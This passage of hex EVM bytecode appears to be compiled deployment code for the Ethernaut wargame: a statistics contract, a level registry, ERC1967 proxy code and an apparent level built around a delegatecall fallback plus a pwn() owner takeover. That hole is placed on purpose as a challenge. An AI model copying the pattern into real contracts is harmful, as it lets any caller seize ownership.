001b88575f80fd5b833562001b958162001b60565b9250602084013562001ba78162001b60565b929592945050506040919091013590565b602080825282518282018190525f9190848201906040850190845b8181101562001bfa5783516001600160a01b03168352928401929184019160010162001bd3565b50909695505050505050565b634e487b7160e01b5f52604160045260245ffd5b6040516060810167ffffffffffffffff8111828210171562001c405762001c4062001c06565b60405290565b604051601f8201601f1916810167ffffffffffffffff8111828210171562001c725762001c7262001c06565b604052919050565b5f67ffffffffffffffff82111562001c965762001c9662001c06565b50601f01601f191660200190565b5f6020828403121562001cb5575f80fd5b813567ffffffffffffffff81111562001ccc575f80fd5b8201601f8101841362001cdd575f80fd5b803562001cf462001cee8262001c7a565b62001c46565b81815285602083850101111562001d09575f80fd5b816020840160208301375f91810160200191909152949350505050565b5f5b8381101562001d4257818101518382015260200162001d28565b50505f910152565b5f815180845262001d6381602086016020860162001d26565b601f01601f19169290920160200192915050565b602080825282518282018190525f919060409081850190600581811b87018401888601875b8481101562001e2b57603f198a8403018652815180516001600160a01b03168452880151888401889052805188850181905290890190606081871b8601810191908601905f5b8181101562001e1457605f1988850301835262001e0184865162001d4a565b948d01949350918c019160010162001de2565b505050968901969350509087019060010162001d9c565b50909998505050505050505050565b5f60208083018184528085518083526040925060408601915060408160051b8701018488015f5b8381101562001ef957888303603f19018552815180516001600160a01b031684528701518784018790528051878501819052908801905f9060608601905b8083101562001ee35783517fffffffff00000000000000000000000000000000000000000000000000000000168252928a019260019290920191908a019062001e9f565b5096890196945050509086019060010162001e61565b509098975050505050505050565b5f6020828403121562001f18575f80fd5b5035919050565b5f60208083016020845280855180835260408601915060408160051b8701019250602087015f5b8281101562001f7857603f1988860301845262001f6585835162001d4a565b9450928501929085019060010162001f46565b5092979650505050505050565b5f6020828403121562001f96575f80fd5b813562001a4f8162001b60565b5f806040838503121562001fb5575f80fd5b823562001fc28162001b60565b9150602083013562001fd48162001b60565b809150509250929050565b634e487b7160e01b5f52603260045260245ffd5b5f67ffffffffffffffff8211156200200f576200200f62001c06565b5060051b60200190565b5f6200202962001cee8462001c7a565b90508281528383830111156200203d575f80fd5b62001a4f83602083018462001d26565b5f82601f8301126200205d575f80fd5b62001a4f8383516020850162002019565b80516200207b8162001b60565b919050565b5f602080838503121562002092575f80fd5b825167ffffffffffffffff80821115620020aa575f80fd5b818501915085601f830112620020be575f80fd5b8151620020cf62001cee8262001ff3565b81815260059190911b83018401908481019088831115620020ee575f80fd5b8585015b83811015620021ef578051858111156200210a575f80fd5b86016060818c03601f1901121562002120575f80fd5b6200212a62001c1a565b88820151878111156200213b575f80fd5b8201603f81018d136200214c575f80fd5b898101516200215f62001cee8262001ff3565b81815260059190911b8201604001908b8101908f8311156200217f575f80fd5b6040840193505b82841015620021a15783518252928c0192908c019062002186565b8452505050604082015187811115620021b8575f80fd5b620021c88d8b838601016200204d565b8a83015250620021db606083016200206e565b6040820152845250918601918601620020f2565b5098975050505050505050565b634e487b7160e01b5f52601160045260245ffd5b818103818111156200167f576200167f620021fc565b5f6020828403121562002237575f80fd5b815167ffffffffffffffff8111156200224e575f80fd5b8201601f810184136200225f575f80fd5b620022708482516020840162002019565b949350505050565b7f2f6f75742f00000000000000000000000000000000000000000000000000000081525f8351620022b181600585016020880162001d26565b7f2e736f6c2f0000000000000000000000000000000000000000000000000000006005918401918201528351620022f081600a84016020880162001d26565b7f2e6a736f6e000000000000000000000000000000000000000000000000000000600a9290910191820152600f01949350505050565b5f83516200233981846020880162001d26565b8351908301906200234f81836020880162001d26565b01949350505050565b602081525f62001a4f602083018462001d4a565b600181811c908216806200238157607f821691505b602082108103620023a057634e487b7160e01b5f52602260045260245ffd5b50919050565b5f60208284031215620023b7575f80fd5b815162001a4f8162001b60565b5f8251620023d781846020870162001d26565b9190910192915050565b5f60208284031215620023f2575f80fd5b5051919050565b808201808211156200167f576200167f620021fc565b604081525f62002423604083018562001d4a565b828103602084015262002437818562001d4a565b95945050505050565b5f6020828403121562002451575f80fd5b815167ffffffffffffffff81111562002468575f80fd5b62002270848285016200204d56fe608060405234801561000f575f80fd5b5061001933610077565b5f80604051610027906100c6565b6001600160a01b039091168152602001604051809103905ff080158015610050573d5f803e3d5ffd5b50600180546001600160a01b0319166001600160a01b0392909216919091179055506100d3565b5f80546001600160a01b038381166001600160a01b0319831681178455604051919092169283917f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e09190a35050565b61016b8061069783390190565b6105b7806100e05f395ff3fe608060405260043610610058575f3560e01c80638da5cb5b116100415780638da5cb5b146100a2578063d38def5b146100be578063f2fde38b146100ed575f80fd5b8063715018a61461005c5780637726f77614610072575b5f80fd5b348015610067575f80fd5b5061007061010c565b005b610085610080366004610366565b61011f565b6040516001600160a01b0390911681526020015b60405180910390f35b3480156100ad575f80fd5b505f546001600160a01b0316610085565b3480156100c9575f80fd5b506100dd6100d8366004610388565b61016f565b6040519015158152602001610099565b3480156100f8575f80fd5b50610070610107366004610366565b6101f0565b610114610285565b61011d5f6102de565b565b6001546040515f9182916001600160a01b039091169061013e90610345565b6001600160a01b039091168152602001604051809103905ff080158015610167573d5f803e3d5ffd5b509392505050565b5f80839050826001600160a01b0316816001600160a01b0316638da5cb5b6040518163ffffffff1660e01b8152600401602060405180830381865afa1580156101ba573d5f803e3d5ffd5b505050506040513d601f19601f820116820180604052508101906101de91906103bf565b6001600160a01b031614949350505050565b6101f8610285565b6001600160a01b0381166102795760405162461bcd60e51b815260206004820152602660248201527f4f776e61626c653a206e6577206f776e657220697320746865207a65726f206160448201527f646472657373000000000000000000000000000000000000000000000000000060648201526084015b60405180910390fd5b610282816102de565b50565b5f546001600160a01b0316331461011d5760405162461bcd60e51b815260206004820181905260248201527f4f776e61626c653a2063616c6c6572206973206e6f7420746865206f776e65726044820152606401610270565b5f80546001600160a01b038381167fffffffffffffffffffffffff0000000000000000000000000000000000000000831681178455604051919092169283917f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e09190a35050565b6101a7806103db83390190565b6001600160a01b0381168114610282575f80fd5b5f60208284031215610376575f80fd5b813561038181610352565b9392505050565b5f8060408385031215610399575f80fd5b82356103a481610352565b915060208301356103b481610352565b809150509250929050565b5f602082840312156103cf575f80fd5b81516103818161035256fe608060405234801561000f575f80fd5b506040516101a73803806101a783398101604081905261002e9161005b565b600180546001600160a01b039092166001600160a01b03199283161790555f805490911633179055610088565b5f6020828403121561006b575f80fd5b81516001600160a01b0381168114610081575f80fd5b9392505050565b610112806100955f395ff3fe6080604052348015600e575f80fd5b50600436106026575f3560e01c80638da5cb5b146086575b6001546040515f9173ffffffffffffffffffffffffffffffffffffffff16906050908390369060cd565b5f60405180830381855af49150503d805f81146084576040519150601f19603f3d011682016040523d82523d5f602084013e005b005b5f5460a49073ffffffffffffffffffffffffffffffffffffffff1681565b60405173ffffffffffffffffffffffffffffffffffffffff909116815260200160405180910390f35b818382375f910190815291905056fea2646970667358221220166c0f46bba8035035dccaec5834c60f688880ba320f92164f691d1412c59e4c64736f6c63430008180033a264697066735822122040d229bd9214a278d33c9e0e717de8f022e585df655ddd540d8bb80edc6e3eb364736f6c63430008180033608060405234801561000f575f80fd5b5060405161016b38038061016b83398101604081905261002e91610052565b5f80546001600160a01b0319166001600160a01b039290921691909117905561007f565b5f60208284031215610062575f80fd5b81516001600160a01b0381168114610078575f80fd5b9392505050565b60e08061008b5f395ff3fe6080604052348015600e575f80fd5b50600436106030575f3560e01c80638da5cb5b146034578063dd365b8b14607b575b5f80fd5b5f5460529073ffffffffffffffffffffffffffffffffffffffff1681565b60405173ffffffffffffffffffffffffffffffffffffffff909116815260200160405180910390f35b60a85f80547fffffffffffffffffffffffff00000000000000000000000000000000000000001633179055565b00fea264697066735822122076e1b3cea2eecc6a3605124996c9faa9215602b412a172d566c9aceae72884ec64736f6c63430008180033608060405234801561000f575f80fd5b506100193361001e565b61006d565b5f80546001600160a01b038381166001600160a01b0319831681178455604051919092169283917f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e09190a35050565b610a6b8061007a5f395ff3fe6080604052600436106100ad575f3560e01c8063be117dfd11610066578063cf0046951161004c578063cf004695146101eb578063dfc86b1714610229578063f2fde38b1461023c575f80fd5b8063be117dfd146101ad578063c882d7c2146101cc575f80fd5b8063715018a611610096578063715018a61461014a5780638da5cb5b1461015e57806395e272bd1461018e575f80fd5b8063202023d4146100b15780634f17afd8146100d2575b5f80fd5b3480156100bc575f80fd5b506100d06100cb3660046109d9565b61025b565b005b3480156100dd575f80fd5b5061011d6100ec3660046109d9565b60036020525f9081526040902080546001909101546001600160a01b0391821691811690600160a01b900460ff1683565b604080516001600160a01b0394851681529390921660208401521515908201526060015b60405180910390f35b348015610155575f80fd5b506100d06102f6565b348015610169575f80fd5b505f546001600160a01b03165b6040516001600160a01b039091168152602001610141565b348015610199575f80fd5b50600154610176906001600160a01b031681565b3480156101b8575f80fd5b506100d06101c73660046109d9565b610309565b3480156101d7575f80fd5b506100d06101e63660046109d9565b610340565b3480156101f6575f80fd5b506102196102053660046109d9565b60026020525f908152604090205460ff1681565b6040519015158152602001610141565b6100d06102373660046109d9565b610642565b348015610247575f80fd5b506100d06102563660046109d9565b610880565b610263610910565b6001600160a01b038181165f8181526002602052604090819020805460ff191660019081179091555490517fcd819a6f00000000000000000000000000000000000000000000000000000000815260048101929092529091169063cd819a6f906024015f604051808303815f87803b1580156102dd575f80fd5b505af11580156102ef573d5f803e3d5ffd5b5050505050565b6102fe610910565b6103075f610969565b565b610311610910565b6001805473ffffffffffffffffffffffffffffffffffffffff19166001600160a01b0392909216919091179055565b6001600160a01b038082165f908152600360205260409020805490911633146103d65760405162461bcd60e51b815260206004820152603060248201527f5468697320696e7374616e636520646f65736e27742062656c6f6e6720746f2060448201527f7468652063757272656e7420757365720000000000000000000000000000000060648201526084015b60405180910390fd5b6001810154600160a01b900460ff16156104325760405162461bcd60e51b815260206004820181905260248201527f4c6576656c20686173206265656e20636f6d706c6574656420616c726561647960448201526064016103cd565b60018101546040517fd38def5b0000000000000000000000000000000000000000000000000000000081526001600160a01b0384811660048301523360248301529091169063d38def5b906044016020604051808303815f875af115801561049c573d5f803e3d5ffd5b505050506040513d601f19601f820116820180604052508101906104c091906109fb565b156105b95760018181018054600160a01b7fffffffffffffffffffffff00ffffffffffffffffffffffffffffffffffffffff82161790915590546040517f2c038c320000000000000000000000000000000000000000000000000000000081526001600160a01b0385811660048301529283166024820152336044820152911690632c038c32906064015f604051808303815f87803b158015610561575f80fd5b505af1158015610573573d5f803e3d5ffd5b5050505060018101546040516001600160a01b039182169184169033907f5038a30b900118d4e513ba62ebd647a96726a6f81b8fda73c21e9da45df5423d905f90a45050565b60018054908201546040517fd0f191e00000000000000000000000000000000000000000000000000000000081526001600160a01b038581166004830152918216602482015233604482015291169063d0f191e0906064015f604051808303815f87803b158015610628575f80fd5b505af115801561063a573d5f803e3d5ffd5b505050505050565b6001600160a01b0381165f9081526002602052604090205460ff166106a95760405162461bcd60e51b815260206004820152601960248201527f54686973206c6576656c20646f65736e2774206578697374730000000000000060448201526064016103cd565b6040517f7726f7760000000000000000000000000000000000000000000000000000000081523360048201525f906001600160a01b03831690637726f77690349060240160206040518083038185885af1158015610709573d5f803e3d5ffd5b50505050506040513d601f19601f8201168201806040525081019061072e9190610a1a565b60408051606081018252338082526001600160a01b0386811660208085018281525f8688018181528986168083526003909452908890209651875473ffffffffffffffffffffffffffffffffffffffff191690861617875590516001968701805492519186167fffffffffffffffffffffff00000000000000000000000000000000000000000090931692909217600160a01b91151591909102179055935494517f7e4326d3000000000000000000000000000000000000000000000000000000008152600481019490945260248401526044830191909152929350911690637e4326d3906064015f604051808303815f87803b15801561082d575f80fd5b505af115801561083f573d5f803e3d5ffd5b50506040516001600160a01b0380861693508416915033907f8be8bd7b4324b3d47aca5c3f64cb70e8f645e6fe94da668699951658f6384179905f90a45050565b610888610910565b6001600160a01b0381166109045760405162461bcd60e51b815260206004820152602660248201527f4f776e61626c653a206e6577206f776e657220697320746865207a65726f206160448201527f646472657373000000000000000000000000000000000000000000000000000060648201526084016103cd565b61090d81610969565b50565b5f546001600160a01b031633146103075760405162461bcd60e51b815260206004820181905260248201527f4f776e61626c653a2063616c6c6572206973206e6f7420746865206f776e657260448201526064016103cd565b5f80546001600160a01b0383811673ffffffffffffffffffffffffffffffffffffffff19831681178455604051919092169283917f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e09190a35050565b6001600160a01b038116811461090d575f80fd5b5f602082840312156109e9575f80fd5b81356109f4816109c5565b9392505050565b5f60208284031215610a0b575f80fd5b815180151581146109f4575f80fd5b5f60208284031215610a2a575f80fd5b81516109f4816109c556fea2646970667358221220f875e80df3dbb1bbf8a1ba93e5adadf18e3885d13abc24020d489fb4c369f37264736f6c63430008180033608060405234801561000f575f80fd5b50611e5d8061001d5f395ff3fe608060405234801561000f575f80fd5b50600436106101bb575f3560e01c80639cbf280d116100f3578063d0f191e011610093578063e2d8716f1161006e578063e2d8716f146103ca578063f3a39909146103dd578063f71d96cb14610408578063fb66d7ab1461041b575f80fd5b8063d0f191e014610391578063d844f6a4146103a4578063e041ae9b146103b7575f80fd5b8063ba5d8082116100ce578063ba5d80821461031d578063bc3086a214610358578063c4d66de81461036b578063cd819a6f1461037e575f80fd5b80639cbf280d146102c7578063a7e1acdf146102da578063b2596a671461030a575f80fd5b80637cbe8d041161015e5780637e4326d3116101395780637e4326d3146102865780638b146ad6146102995780638dc03535146102ac578063900f09ac146102bf575f80fd5b80637cbe8d041461026e5780637ceb9533146102765780637e0ca04f1461027e575f80fd5b80633aa46685116101995780633aa466851461020d5780633d9aeaef14610235578063763fdb45146102485780637a9b6dda1461025b575f80fd5b806322ae77ec146101bf5780632c038c32146101e557806336204198146101fa575b5f80fd5b6101d26101cd366004611cab565b610423565b6040519081526020015b60405180910390f35b6101f86101f3366004611cdc565b61054f565b005b6101d2610208366004611d1c565b6109b1565b6101d261021b366004611d1c565b6001600160a01b03165f9081526010602052604090205490565b6101d2610243366004611d1c565b610a2d565b6101d2610256366004611d1c565b610aab565b6101d2610269366004611d1c565b610b27565b6003546101d2565b6005546101d2565b6002546101d2565b6101f8610294366004611cdc565b610ba3565b6101d26102a7366004611d1c565b610f29565b6101d26102ba366004611cab565b610fa5565b6004546101d2565b6101d26102d5366004611d1c565b611125565b5f546102f2906201000090046001600160a01b031681565b6040516001600160a01b0390911681526020016101dc565b6102f2610318366004611d35565b6111a0565b61034861032b366004611d1c565b6001600160a01b03165f908152600e602052604090205460ff1690565b60405190151581526020016101dc565b6101d2610366366004611d1c565b6111c8565b6101f8610379366004611d1c565b611257565b6101f861038c366004611d1c565b6113a1565b6101f861039f366004611cdc565b6114f0565b6101d26103b2366004611d4c565b61183e565b6101d26103c5366004611d1c565b6119c6565b6103486103d8366004611cab565b611a44565b6103486103eb366004611d1c565b6001600160a01b03165f908152600f602052604090205460ff1690565b6102f2610416366004611d35565b611b3f565b6001546101d2565b6001600160a01b0381165f908152600e6020526040812054829060ff166104885760405162461bcd60e51b8152602060048201526014602482015273141b185e595c88191bd95cdb89dd08195e1a5cdd60621b60448201526064015b60405180910390fd5b836104aa816001600160a01b03165f908152600f602052604090205460ff1690565b6104ec5760405162461bcd60e51b815260206004820152601360248201527213195d995b08191bd95cdb89dd08195e1a5cdd606a1b604482015260640161047f565b6001600160a01b038481165f908152600d6020908152604080832089851684529091529020541661051d575f610546565b6001600160a01b038085165f908152600d60209081526040808320938916835292905220600301545b95945050505050565b5f546201000090046001600160a01b031633146105bc5760405162461bcd60e51b815260206004820152602560248201527f4f6e6c792045746865726e6175742063616e2063616c6c20746869732066756e60448201526431ba34b7b760d91b606482015260840161047f565b816105de816001600160a01b03165f908152600f602052604090205460ff1690565b6106205760405162461bcd60e51b815260206004820152601360248201527213195d995b08191bd95cdb89dd08195e1a5cdd606a1b604482015260640161047f565b81610642816001600160a01b03165f908152600e602052604090205460ff1690565b6106855760405162461bcd60e51b8152602060048201526014602482015273141b185e595c88191bd95cdb89dd08195e1a5cdd60621b604482015260640161047f565b6001600160a01b038381165f908152600d602090815260408083208885168452909152902054166107065760405162461bcd60e51b815260206004820152602560248201527f496e7374616e636520666f7220746865206c6576656c206973206e6f7420637260448201526419585d195960da1b606482015260840161047f565b6001600160a01b038381165f908152600d6020908152604080832088851684529091529020548116908616146107905760405162461bcd60e51b815260206004820152602960248201527f5375626d697474656420696e7374616e6365206973206e6f74207468652063726044820152686561746564206f6e6560b81b606482015260840161047f565b6001600160a01b038381165f908152600d6020908152604080832093881683529290522054600160a01b900460ff161561080c5760405162461bcd60e51b815260206004820152601760248201527f4c6576656c20616c726561647920636f6d706c65746564000000000000000000604482015260640161047f565b6001600160a01b038084165f908152600c6020908152604080832093881683529290529081205490036108df576001600160a01b0383165f90815260066020526040812080549161085c83611d99565b90915550506001600160a01b038084165f818152600c602090815260408083209489168352938152838220429055918152600690915290812054906108a2858784611b4e565b90508181866001600160a01b03167f18f89fb58208351d054bc0794e723a333ae0a74acd73825a9f31d89af0c6755160405160405180910390a450505b6001600160a01b038084165f908152600d6020908152604080832093881680845293825280832060038101805460018181018355918652848620429101819055600283015594845280547fffffffffffffffffffffff00ffffffffffffffffffffffffffffffffffffffff16600160a01b179055600a909152812090910180549161096983611d99565b909155505060048054905f61097d83611d99565b90915550506001600160a01b0383165f9081526008602052604081208054916109a583611d99565b91905055505050505050565b6001600160a01b0381165f908152600e6020526040812054829060ff16610a115760405162461bcd60e51b8152602060048201526014602482015273141b185e595c88191bd95cdb89dd08195e1a5cdd60621b604482015260640161047f565b50506001600160a01b03165f9081526006602052604090205490565b6001600160a01b0381165f908152600f6020526040812054829060ff16610a8c5760405162461bcd60e51b815260206004820152601360248201527213195d995b08191bd95cdb89dd08195e1a5cdd606a1b604482015260640161047f565b50506001600160a01b03165f908152600a602052604090206001015490565b6001600160a01b0381165f908152600e6020526040812054829060ff16610b0b5760405162461bcd60e51b8152602060048201526014602482015273141b185e595c88191bd95cdb89dd08195e1a5cdd60621b604482015260640161047f565b50506001600160a01b03165f9081526008602052604090205490565b6001600160a01b0381165f908152600e6020526040812054829060ff16610b875760405162461bcd60e51b8152602060048201526014602482015273141b185e595c88191bd95cdb89dd08195e1a5cdd60621b604482015260640161047f565b50506001600160a01b03165f9081526009602052604090205490565b5f546201000090046001600160a01b03163314610c105760405162461bcd60e51b815260206004820152602560248201527f4f6e6c792045746865726e6175742063616e2063616c6c20746869732066756e60448201526431ba34b7b760d91b606482015260840161047f565b81610c32816001600160a01b03165f908152600f602052604090205460ff1690565b610c745760405162461bcd60e51b815260206004820152601360248201527213195d995b08191bd95cdb89dd08195e1a5cdd606a1b604482015260640161047f565b6001600160a01b0382165f908152600e602052604090205460ff16610d00576001805480820182557fb10e2d527612073b26eecdfd717e6a320cf44b4afac2b0732d9fcbe2b7fa0cf601805473ffffffffffffffffffffffffffffffffffffffff19166001600160a01b0385169081179091555f908152600e60205260409020805460ff191690911790555b6001600160a01b038281165f908152600d60209081526040808320878516845290915290205416610d53576001600160a01b038083165f908152600b602090815260408083209387168352929052204290555b6040805160a0810182526001600160a01b0380871682525f60208084018290524284860152606084018290528683168252600d815284822092881682529190915291822060030154909160808301919003610dbb57604080515f815260208101909152610e2b565b6001600160a01b038085165f908152600d6020908152604080832093891683529281529082902060030180548351818402810184019094528084529091830182828015610e2557602002820191905f5260205f20905b815481526020019060010190808311610e11575b50505050505b90526001600160a01b038084165f908152600d60209081526040808320888516845282529182902084518154868401511515600160a01b027fffffffffffffffffffffff00000000000000000000000000000000000000000090911691909516179390931783559083015160018301556060830151600283015560808301518051610ebc9260038501920190611c33565b5050506001600160a01b0383165f908152600a60205260408120805491610ee283611d99565b909155505060038054905f610ef683611d99565b90915550506001600160a01b0382165f908152600760205260408120805491610f1e83611d99565b919050555050505050565b6001600160a01b0381165f908152600e6020526040812054829060ff16610f895760405162461bcd60e51b8152602060048201526014602482015273141b185e595c88191bd95cdb89dd08195e1a5cdd60621b604482015260640161047f565b50506001600160a01b03165f9081526007602052604090205490565b6001600160a01b0382165f908152600e6020526040812054839060ff166110055760405162461bcd60e51b8152602060048201526014602482015273141b185e595c88191bd95cdb89dd08195e1a5cdd60621b604482015260640161047f565b82611027816001600160a01b03165f908152600f602052604090205460ff1690565b6110695760405162461bcd60e51b815260206004820152601360248201527213195d995b08191bd95cdb89dd08195e1a5cdd606a1b604482015260640161047f565b6001600160a01b038086165f908152600c6020908152604080832093881683529290529081205490036110de5760405162461bcd60e51b815260206004820152601360248201527f4c6576656c206e6f7420636f6d706c6574656400000000000000000000000000604482015260640161047f565b6001600160a01b038086165f818152600b6020908152604080832094891680845294825280832054938352600c825280832094835293905291909120546105469190611db1565b6001600160a01b0381165f908152600f6020526040812054829060ff166111845760405162461bcd60e51b815260206004820152601360248201527213195d995b08191bd95cdb89dd08195e1a5cdd606a1b604482015260640161047f565b50506001600160a01b03165f908152600a602052604090205490565b600281815481106111af575f80fd5b5f918252602090912001546001600160a01b0316905081565b6001600160a01b0381165f908152600e6020526040812054829060ff166112285760405162461bcd60e51b8152602060048201526014602482015273141b185e595c88191bd95cdb89dd08195e1a5cdd60621b604482015260640161047f565b600254611234846109b1565b61124690670de0b6b3a7640000611dca565b6112509190611de1565b9392505050565b5f54610100900460ff161580801561127557505f54600160ff909116105b8061128e5750303b15801561128e57505f5460ff166001145b6113005760405162461bcd60e51b815260206004820152602e60248201527f496e697469616c697a61626c653a20636f6e747261637420697320616c72656160448201527f647920696e697469616c697a6564000000000000000000000000000000000000606482015260840161047f565b5f805460ff191660011790558015611321575f805461ff0019166101001790555b5f80547fffffffffffffffffffff0000000000000000000000000000000000000000ffff16620100006001600160a01b03851602179055801561139d575f805461ff0019169055604051600181527f7f26b83ff96e1f2b6a682f133852f6798a09c465da95921460cefb38474024989060200160405180910390a15b5050565b806113c3816001600160a01b03165f908152600f602052604090205460ff1690565b156114105760405162461bcd60e51b815260206004820152601460248201527f4c6576656c20616c726561647920657869737473000000000000000000000000604482015260640161047f565b5f546201000090046001600160a01b0316331461147d5760405162461bcd60e51b815260206004820152602560248201527f4f6e6c792045746865726e6175742063616e2063616c6c20746869732066756e60448201526431ba34b7b760d91b606482015260840161047f565b506001600160a01b03165f818152600f60205260408120805460ff191660019081179091556002805491820181559091527f405787fa12a823e0f2b7631cc41b3ba8828b3321ca811111fa75cd3aa3bb5ace01805473ffffffffffffffffffffffffffffffffffffffff19169091179055565b5f546201000090046001600160a01b0316331461155d5760405162461bcd60e51b815260206004820152602560248201527f4f6e6c792045746865726e6175742063616e2063616c6c20746869732066756e60448201526431ba34b7b760d91b606482015260840161047f565b8161157f816001600160a01b03165f908152600f602052604090205460ff1690565b6115c15760405162461bcd60e51b815260206004820152601360248201527213195d995b08191bd95cdb89dd08195e1a5cdd606a1b604482015260640161047f565b816115e3816001600160a01b03165f908152600e602052604090205460ff1690565b6116265760405162461bcd60e51b8152602060048201526014602482015273141b185e595c88191bd95cdb89dd08195e1a5cdd60621b604482015260640161047f565b6001600160a01b038381165f908152600d602090815260408083208885168452909152902054166116a75760405162461bcd60e51b815260206004820152602560248201527f496e7374616e636520666f7220746865206c6576656c206973206e6f7420637260448201526419585d195960da1b606482015260840161047f565b6001600160a01b038381165f908152600d6020908152604080832088851684529091529020548116908616146117315760405162461bcd60e51b815260206004820152602960248201527f5375626d697474656420696e7374616e6365206973206e6f74207468652063726044820152686561746564206f6e6560b81b606482015260840161047f565b6001600160a01b038381165f908152600d6020908152604080832093881683529290522054600160a01b900460ff16156117ad5760405162461bcd60e51b815260206004820152601760248201527f4c6576656c20616c726561647920636f6d706c65746564000000000000000000604482015260640161047f565b6001600160a01b038084165f908152600d60209081526040808320938816808452938252808320600301805460018101825590845282842042910155928252600a905290812060020180549161180283611d99565b909155505060058054905f61181683611d99565b90915550506001600160a01b0383165f9081526009602052604081208054916109a583611d99565b6001600160a01b0383165f908152600e6020526040812054849060ff1661189e5760405162461bcd60e51b8152602060048201526014602482015273141b185e595c88191bd95cdb89dd08195e1a5cdd60621b604482015260640161047f565b836118c0816001600160a01b03165f908152600f602052604090205460ff1690565b6119025760405162461bcd60e51b815260206004820152601360248201527213195d995b08191bd95cdb89dd08195e1a5cdd606a1b604482015260640161047f565b6001600160a01b038087165f908152600d60209081526040808320938916835292905220600301548411156119795760405162461bcd60e51b815260206004820152601060248201527f496e646578206f7574626f756e64656400000000000000000000000000000000604482015260640161047f565b6001600160a01b038087165f908152600d602090815260408083209389168352929052206003018054859081106119b2576119b2611e00565b905f5260205f200154925050509392505050565b6001600160a01b0381165f908152600f6020526040812054829060ff16611a255760405162461bcd60e51b815260206004820152601360248201527213195d995b08191bd95cdb89dd08195e1a5cdd606a1b604482015260640161047f565b50506001600160a01b03165f908152600a602052604090206002015490565b6001600160a01b0382165f908152600e6020526040812054839060ff16611aa45760405162461bcd60e51b8152602060048201526014602482015273141b185e595c88191bd95cdb89dd08195e1a5cdd60621b604482015260640161047f565b82611ac6816001600160a01b03165f908152600f602052604090205460ff1690565b611b085760405162461bcd60e51b815260206004820152601360248201527213195d995b08191bd95cdb89dd08195e1a5cdd606a1b604482015260640161047f565b5050506001600160a01b039182165f908152600d60209081526040808320939094168252919091522054600160a01b900460ff1690565b600181815481106111af575f80fd5b6001600160a01b038084165f81815260106020908152604080832054600b835281842095881680855295835281842054948452600c83528184209584529490915281205490929183918291611ba291611db1565b6001600160a01b0388165f9081526010602052604081205491925003611be1576001600160a01b0387165f908152601060205260409020819055611c29565b8481611bee600183611db1565b611bf89086611dca565b611c029190611e14565b611c0c9190611de1565b6001600160a01b0388165f90815260106020526040902081905591505b5095945050505050565b828054828255905f5260205f20908101928215611c6c579160200282015b82811115611c6c578251825591602001919060010190611c51565b50611c78929150611c7c565b5090565b5b80821115611c78575f8155600101611c7d565b80356001600160a01b0381168114611ca6575f80fd5b919050565b5f8060408385031215611cbc575f80fd5b611cc583611c90565b9150611cd360208401611c90565b90509250929050565b5f805f60608486031215611cee575f80fd5b611cf784611c90565b9250611d0560208501611c90565b9150611d1360408501611c90565b90509250925092565b5f60208284031215611d2c575f80fd5b61125082611c90565b5f60208284031215611d45575f80fd5b5035919050565b5f805f60608486031215611d5e575f80fd5b611d6784611c90565b9250611d7560208501611c90565b9150604084013590509250925092565b634e487b7160e01b5f52601160045260245ffd5b5f60018201611daa57611daa611d85565b5060010190565b81810381811115611dc457611dc4611d85565b92915050565b8082028115828204841417611dc457611dc4611d85565b5f82611dfb57634e487b7160e01b5f52601260045260245ffd5b500490565b634e487b7160e01b5f52603260045260245ffd5b80820180821115611dc457611dc4611d8556fea264697066735822122066af37f02a1e446ad91bfc4bf9b0dd5322bb220097108143b357e6128534eb5464736f6c63430008180033608060405234801562000010575f80fd5b5060405162000daa38038062000daa83398101604081905262000033916200042b565b6040516001600160a01b03821660248201528390839060440160408051601f198184030181529190526020810180516001600160e01b0390811663189acdbd60e31b17909152839082906200008f90839083905f90620000a916565b506200009d905082620000da565b505050505050620004e7565b620000b4836200014b565b5f82511180620000c15750805b15620000d557620000d383836200018c565b505b505050565b7f7e644d79422f17c01e4894b5f4f588d331ebfa28653d42ae832dc59e38c9798f6200011b5f8051602062000d63833981519152546001600160a01b031690565b604080516001600160a01b03928316815291841660208301520160405180910390a16200014881620001bb565b50565b620001568162000258565b6040516001600160a01b038216907fbc7cd75a20ee27fd9adebab32041f755214dbc6bffa90cc0225b39da2e5c2d3b905f90a250565b6060620001b4838360405180606001604052806027815260200162000d8360279139620002ef565b9392505050565b6001600160a01b038116620002265760405162461bcd60e51b815260206004820152602660248201527f455243313936373a206e65772061646d696e20697320746865207a65726f206160448201526564647265737360d01b60648201526084015b60405180910390fd5b805f8051602062000d638339815191525b80546001600160a01b0319166001600160a01b039290921691909117905550565b6001600160a01b0381163b620002c75760405162461bcd60e51b815260206004820152602d60248201527f455243313936373a206e657720696d706c656d656e746174696f6e206973206e60448201526c1bdd08184818dbdb9d1c9858dd609a1b60648201526084016200021d565b807f360894a13ba1a3210667c828492db98dca3e2076cc3735a920a3ca505d382bbc62000237565b60606001600160a01b0384163b620003595760405162461bcd60e51b815260206004820152602660248201527f416464726573733a2064656c65676174652063616c6c20746f206e6f6e2d636f6044820152651b9d1c9858dd60d21b60648201526084016200021d565b5f80856001600160a01b03168560405162000375919062000496565b5f60405180830381855af49150503d805f8114620003af576040519150601f19603f3d011682016040523d82523d5f602084013e620003b4565b606091505b509092509050620003c7828286620003d1565b9695505050505050565b60608315620003e2575081620001b4565b825115620003f35782518084602001fd5b8160405162461bcd60e51b81526004016200021d9190620004b3565b80516001600160a01b038116811462000426575f80fd5b919050565b5f805f606084860312156200043e575f80fd5b62000449846200040f565b925062000459602085016200040f565b915062000469604085016200040f565b90509250925092565b5f5b838110156200048e57818101518382015260200162000474565b50505f910152565b5f8251620004a981846020870162000472565b9190910192915050565b602081525f8251806020840152620004d381604085016020870162000472565b601f01601f19169190910160400192915050565b61086e80620004f55f395ff3fe60806040526004361061005d575f3560e01c80635c60da1b116100425780635c60da1b146100a65780638f283970146100d6578063f851a440146100f55761006c565b80633659cfe6146100745780634f1ef286146100935761006c565b3661006c5761006a610109565b005b61006a610109565b34801561007f575f80fd5b5061006a61008e36600461070d565b610123565b61006a6100a1366004610726565b61015e565b3480156100b1575f80fd5b506100ba6101c4565b6040516001600160a01b03909116815260200160405180910390f35b3480156100e1575f80fd5b5061006a6100f036600461070d565b6101f4565b348015610100575f80fd5b506100ba610214565b610111610234565b61012161011c6102e4565b6102ed565b565b61012b61030b565b6001600160a01b03163303610156576101538160405180602001604052805f8152505f61033d565b50565b610153610109565b61016661030b565b6001600160a01b0316330361